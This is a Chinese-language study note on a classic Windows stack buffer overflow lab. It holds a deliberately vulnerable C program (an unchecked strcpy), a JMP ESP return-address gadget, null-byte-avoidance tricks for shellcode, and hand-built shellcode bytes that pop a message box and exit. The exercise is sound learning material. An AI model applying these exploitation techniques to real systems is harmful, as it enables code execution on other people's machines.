这是很久以前的笔记了 去年的笔记···········
这里增加几条:
1) PUSH 字符串, 先用其他字符代表0x00 然后 通过 EBP的负偏离量处一字节一字节的写入!!!!!!!!!!
重新产生没有 NULL字节的 机器码
2) XOR/add /sub 计算 比如 0x006e616c 那么 0x77191693 xor 0x777777ff = 0x006e616c 直接压入 进行xor
mov eax,0x77191693
mov ebx,0x777777ff
xor eax,ebx
push eax
3)直接压入字符串 然后单字节压入
xor eax,eax,
push eax,
mov ebp,esp
mov byte [ebp-2] ,61
4) 对于 像 0x000000AB 的字符的话 用
mov eax,0xXXXXX
push eax
5)直接用 0x20 空格代替 结束符,一般情况下可以用的
00401110 33C0 xor eax,eax 00401112 8BEC mov ebp,esp 00401114 68 61202020 push 0x20202061 00401119 8845 FD mov byte ptr ss:[ebp-0x3],al 0040111C 68 70616E64 push 0x646E6170 00401121 8BDC mov ebx,esp 00401123 50 push eax 00401124 68 B3F6C1CB push 0xCBC1F6B3 00401129 68 BEADD2E7 push 0xE7D2ADBE 0040112E 68 6120D2D1 push 0xD1D22061 00401133 68 70616E64 push 0x646E6170 00401138 68 B1A8B8E6 push 0xE6B8A8B1 0040113D 8BCC mov ecx,esp 0040113F 50 push eax 00401140 53 push ebx 00401141 51 push ecx 00401142 50 push eax 00401143 E8 A2F69477 call USER32.MessageBoxA
可以看到我们已经可以构造 不是标准 4字节的字符串了,而且可以再也不用烦恼 bad character!!!!!!!!!
以下分析有错 在JMP EBX 中 运行shellcode运行时会修改shellcode 所以最好都不知道变什么样了 但是PUSH 字符串分析是正确的
因为压栈会破坏数据
想要插入字符串 必须从后往前插入 如果大于4字节 并且保证最后为4字节再例如:
0013FAF0 33DB xor ebx,ebx 0013FAF2 53 push ebx 0013FAF3 6A 61 push 0x61 0013FAF5 68 50616E64 push 0x646E6150 0013FAFA 68 20627920 push 0x20796220 0013FAFF 68 30646179 push 0x79616430 0013FB04 8BC4 mov eax,esp
原因是 push 后有结束符吧
以上是最难得地方;
这里是源码:
#include <stdio.h> #include <windows.h> #define PASSWORD "1234567" int verify_password (char *password) { int authenticated; char buffer[44]; authenticated=strcmp(password,PASSWORD); strcpy(buffer,password);//over flowed here! return authenticated; } main() { int valid_flag=0; char password[1024]; FILE * fp; LoadLibrary("user32.dll");//prepare for messagebox if(!(fp=fopen("password.txt","rw+"))) { exit(0); } fscanf(fp,"%s",password); valid_flag = verify_password(password); if(valid_flag) { printf("incorrect password!\n"); } else { printf("Congratulation! You have passed the verification!\n"); } fclose(fp); }
写了个程序 可以倒叙输出字符串 方便压栈
以下为正确的:
JMP ESP 堆栈很安全 几乎没被修改:
77D91E64 - FFE4 jmp esp
在返回地址处 修改为上面这个
0013FB28 33DB xor ebx,ebx 0013FB2A 53 push ebx 0013FB2B 6A 61 push 0x61 0013FB2D 68 50616E64 push 0x646E6150 0013FB32 8BC4 mov eax,esp 0013FB34 53 push ebx 0013FB35 50 push eax 0013FB36 50 push eax 0013FB37 53 push ebx 0013FB38 B8 EA07D577 mov eax,user32.MessageBoxA 0013FB3D FFD0 call eax 0013FB3F B8 FACA817C mov eax,kernel32.ExitProcess 0013FB44 FFD0 call eax
二进制位:
33 DB 53 6A 61 68 50 61 6E 64 8B C4 53 50 50 53 B8 EA 07 D5 77 FF D0 B8 FA CA 81 7C FF D0
安全弹框 安全退出